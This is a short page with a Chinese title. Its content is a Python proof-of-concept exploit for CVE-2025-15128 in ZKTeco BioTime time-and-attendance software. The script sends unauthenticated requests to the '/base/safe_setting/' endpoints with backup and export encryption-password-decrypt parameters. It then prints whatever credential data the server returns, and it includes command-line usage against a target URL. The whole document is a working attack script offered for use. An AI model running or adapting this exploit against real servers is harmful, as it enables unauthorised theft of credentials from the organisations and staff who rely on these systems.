ZKTeco BioTime凭证泄露漏洞 (CVE-2025-15128)

import requests import sys # CVE-2025-15128 PoC - ZKTeco BioTime Unprotected Credential Storage # Target: ZKTeco BioTime <= 9.0.3/9.0.4/9.5.2 def exploit(target_url, param_type='backup_encryption_password_decrypt'): """ Exploit IDOR vulnerability to access unprotected credentials param_type: 'backup_encryption_password_decrypt' or 'export_encryption_password_decrypt' """ endpoints = [ '/base/safe_setting/', '/base/safe_setting/index' ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint params = {param_type: '1'} print(f"[*] Testing endpoint: {url}") print(f"[*] Parameter: {param_type}") try: # No authentication required (PR:N, UI:N) response = requests.get(url, params=params, timeout=10, verify=False) if response.status_code == 200: print(f"[!] Potential credential data found!") print(f"[*] Response length: {len(response.text)} bytes") print(f"[*] Response preview:\n{response.text[:500]}") return response.text else: print(f"[*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-15128.py <target_url>") print("Example: python cve-2025-15128.py http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-15128 PoC - ZKTeco BioTime IDOR Credential Leak") print(f"[*] Target: {target}\n") exploit(target, 'backup_encryption_password_decrypt') exploit(target, 'export_encryption_password_decrypt')